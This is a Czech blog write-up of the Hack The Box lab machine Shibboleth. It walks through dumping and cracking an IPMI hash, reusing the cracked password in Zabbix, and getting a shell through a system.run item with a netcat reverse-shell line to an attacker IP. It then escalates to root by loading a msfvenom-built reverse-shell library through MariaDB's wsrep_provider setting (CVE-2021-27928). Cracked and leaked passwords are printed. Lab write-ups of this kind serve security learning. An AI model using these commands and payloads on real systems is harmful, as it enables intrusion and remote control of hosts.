tom@home.htb:~$

Blog o HTB

16 January 2021

Shibboleth

Úvod a kontext

Shibboleth je stroj, kde rozhodující stopa neleží na webu, ale na netypicky otevřeném IPMI portu. Webová enumerace sice ukáže několik virtuálních hostů, ale bez přístupu do Zabbixu by sama o sobě nestačila. Klíč k footholdu přinese až IPMI hash, jeho prolomení a reuse stejného hesla v administraci monitoringu. Tohle propojení reuse a monitorovací platformy dobře zapadá i do článků Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji a Monitoring, observability a admin platformy jako útoková plocha.

Root část pak dobře ukazuje rozdíl mezi databázovým účtem a databázovým serverem. Únik hesla do MariaDB ještě automaticky nedává roota, ale v kombinaci se zranitelným Galera wsrep_provider už ano.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji standardní TCP služby. Na první pohled je vidět hlavně Apache na portu 80.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT      STATE  SERVICE VERSION
80/tcp    open   http    Apache httpd 2.4.41

Vedle TCP služeb ale mělo smysl zkontrolovat i UDP, protože některé správcovské protokoly se běžných TCP scanů vůbec neúčastní.

nmap -sU --min-rate 5000 --max-retries 1 -p- --open $IP
PORT    STATE SERVICE
623/udp open  asf-rmcp

Port 623/udp znamená IPMI. To je silná stopa, protože špatně chráněné BMC rozhraní často dovolí získat challenge-response hash bez znalosti hesla.

Analýza zjištění

Dump hashů z IPMI

Na IPMI se hodí specializovaný skener, který umí vytáhnout hash autentizace. Praktickou roli msfconsole jako frameworku pro podobné pomocné moduly rozebírám i v článku Metasploit: msfconsole a msfvenom:

msfconsole
use scanner/ipmi/ipmi_dumphashes
set RHOST 10.10.11.124
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:__CENSORED__:__CENSORED__

Tento krok ještě nepřináší přímý přístup, ale poskytuje materiál pro offline cracking. To je bezpečnostně důležité: obrana se už nemůže spoléhat na rate limiting ani MFA, protože další útok probíhá mimo cílový systém.

Prolomení hesla a vazba na Zabbix

Hash se podařilo prolomit pomocí hashcat:

hashcat --force -m 7300 -a 0 "__CENSORED__:__CENSORED__" /usr/share/wordlists/rockyou.txt
ilovepumkinpie1

V další fázi dávalo smysl najít webové subdomény, které by stejné heslo mohly používat. Subdomain fuzzing odhalil monitor, monitoring a hlavně zabbix:

monitor
monitoring
zabbix

Přihlášení do Zabbixu fungovalo s kombinací:

Administrator / ilovepumkinpie1

To je důležitý moment celého řetězce: nejde o samotný IPMI přístup, ale o reuse stejného hesla mezi oddělenými službami.

Získání přístupu

RCE přes system.run v Zabbixu

Po přihlášení do Zabbixu bylo možné vytvořit item se vzdáleným příkazem přes system.run. Tato funkce je legitimní součást monitoringu, ale v rukou administrátora je to přímo kanál pro spuštění shellu na hostu.

Použitý příkaz:

system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc 10.10.14.9 4000 > /tmp/f&,nowait]

Tím vznikl shell na cílovém systému. Z /etc/passwd bylo vidět, že zajímavý lokální účet je ipmi-svc, a protože heslo z IPMI už bylo známé, šlo vyzkoušet i lokální reuse:

su ipmi-svc

Po zadání stejného hesla ilovepumkinpie1 se podařilo přepnout do tohoto účtu a potvrdit uživatelský přístup:

cat user.txt
__CENSORED__

Eskalace oprávnění

Databázové přihlašovací údaje ze Zabbix konfigurace

Jakmile už běží shell na hostu, dává smysl procházet lokální konfigurace služeb. U Zabbix serveru je klíčový soubor:

/etc/zabbix/zabbix_server.conf

Ten obsahoval přihlašovací údaje do MariaDB:

DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh

Databázové heslo samo o sobě nestačí, ale ukazuje na další důvěryhodnou službu běžící lokálně s vyššími oprávněními.

Zneužití wsrep_provider

Na hostu byla zneužitelná Galera/MariaDB konfigurace umožňující nahrát vlastní sdílenou knihovnu jako wsrep_provider. Princip je jednoduchý: databázový proces načte útočníkem dodaný .so soubor a spustí jeho inicializační kód v privilegovaném kontextu.

Nejdřív se připravil payload:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4001 -f elf-so -o CVE-2021-27928.so

Pak se knihovna zapsala jako nový provider:

mysql -u zabbix -pbloooarskybluh
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

Tím došlo ke spuštění kódu v kontextu databázové služby a následně i k přístupu k root.txt:

cat /root/root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - rce - exploit - enumeration - privesc - hackthebox